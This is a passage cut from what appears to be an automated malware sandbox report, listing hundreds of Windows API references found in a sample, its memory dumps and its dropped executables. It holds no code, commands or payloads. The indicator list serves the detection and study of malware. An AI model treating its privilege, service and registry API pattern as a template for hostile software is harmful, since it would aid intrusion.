"6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FindNextFileA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FindClose"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LocalAlloc"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "lstrcmpA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CompareStringA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetLastError"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetFileAttributesA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LoadLibraryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "DeleteFileA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GlobalAlloc"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GlobalFree"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CloseHandle"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetFileAttributesA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetProcAddress"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GlobalLock"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LocalFree"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "RemoveDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FreeLibrary"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GlobalUnlock"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ReadFile"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SizeofResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "WriteFile"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetDriveTypeA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LoadLibraryExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetFileTime"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetFilePointer"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FindResourceA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateMutexA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetVolumeInformationA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "WaitForSingleObject"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FreeResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetVersion"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetTempPathA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateFileA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetEvent"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "TerminateThread"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetVersionExA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LockResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetSystemInfo"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateThread"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ResetEvent"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LoadResource"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ExitProcess"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetModuleHandleW"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateProcessA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FormatMessageA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetTempFileNameA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CreateEventA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetExitCodeProcess"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetDeviceCaps"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetDesktopWindow"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CharUpperA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ExitWindowsEx"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "MessageBeep"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CharPrevA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "LoadStringA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CharNextA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "EnableWindow"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ReleaseDC"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetForegroundWindow"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "PeekMessageA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SendMessageA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "MessageBoxA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetWindowTextA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetWindowLongA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "CallWindowProcA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetWindowLongA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "ShowWindow"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetWindowPos"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetDC"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetWindowRect"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "DispatchMessageA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "VerQueryValueA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "Sleep"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetStartupInfoW"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "TerminateProcess"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetCurrentProcessId"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetCurrentThreadId"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetTickCount"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "MulDiv"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "GetSystemMetrics"; File: "6c4eeafcda86d5bd3f31bbb5d53dcbeb18542a14b599d2a5e222d8a1cdb5baae") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00003244.00000000.66713.000C1000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00003244.00000000.66713.000C1000.00000020.mdmp") Found reference to API (Indicator: "OpenServiceA"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "OpenSCManagerW"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "ControlService"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "OpenService"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "StartService"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "GetUserName"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "ChangeServiceConfig"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "OpenSCManager"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; File: "00001000.000003E8.1198983.00402000.wprm") Found reference to API (Indicator: "SendMessage"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetClassName"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "ReleaseCapture"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetWindowLong"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "SetWindowLong"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "InsertMenuItem"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "ClientToScreen"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetScrollInfo"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "DrawMenuBar"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "LoadCursor"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "SetCursor"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetCursorPos"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetClientRect"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "BitBlt"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "WindowFromPoint"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetWindowText"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetSystemMenu"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "InsertMenu"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "FindWindow"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetDCEx"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowEx"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "MessageBox"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "RegisterHotKey"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "UnregisterHotKey"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectory"; File: "00000000-00002132.00000000.67874.00062000.00000020.mdmp") Found reference to API (Indicator: "GetWindowDC"; File: "00000000-00003464.00000000.71447.00BB2000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00002396.00000000.72895.00EC1000.00000020.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "RtlGetVersion"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "GetLongPathNameW"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "CreateFileW"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "TlsGetValue"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "TlsSetValue"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "SetLastError"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "UnregisterWait"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "GetCurrentThread"; File: "6kb5JC6.exe.559602349") Found reference to API (Indicator: "MessageBoxW"; File: "angel.exe.1417200685") Found reference to API (Indicator: "GetActiveWindow"; File: "angel.exe.1417200685") Found reference to API (Indicator: "GetLastActivePopup"; File: "angel.exe.1417200685") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "angel.exe.1417200685") Found reference to API (Indicator: "GetProcessWindowStation"; File: "angel.exe.1417200685") Found reference to API (Indicator: "CompareStringEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "LCIDToLocaleName"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetTimeFormatEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "IsValidLocaleName"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetDateFormatEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "CloseDesktop"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetClipCursor"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetExitCodeThread"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "WideCharToMultiByte"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "EnterCriticalSection"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "LeaveCriticalSection"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "DeleteCriticalSection"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "EncodePointer"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "DecodePointer"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "MultiByteToWideChar"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetStringTypeW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetCPInfo"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "InitializeSListHead"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "IsDebuggerPresent"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "RaiseException"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "RtlUnwind"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "TlsAlloc"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "TlsFree"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "LoadLibraryExW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "ExitThread"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetModuleHandleExW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetStdHandle"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetModuleFileNameW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetCommandLineA"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetCommandLineW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "HeapAlloc"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "HeapFree"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "CompareStringW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "LCMapStringW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetLocaleInfoW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "IsValidLocale"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetFileType"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "FlushFileBuffers"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetConsoleMode"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetFileSizeEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "SetFilePointerEx"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "ReadConsoleW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "HeapReAlloc"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "FindFirstFileExW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "FindNextFileW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "IsValidCodePage"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetACP"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetOEMCP"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "SetStdHandle"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetProcessHeap"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "HeapSize"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "WriteConsoleW"; File: "3vp37IO.exe.985443340") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000400.00000000.66605.00ABA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: 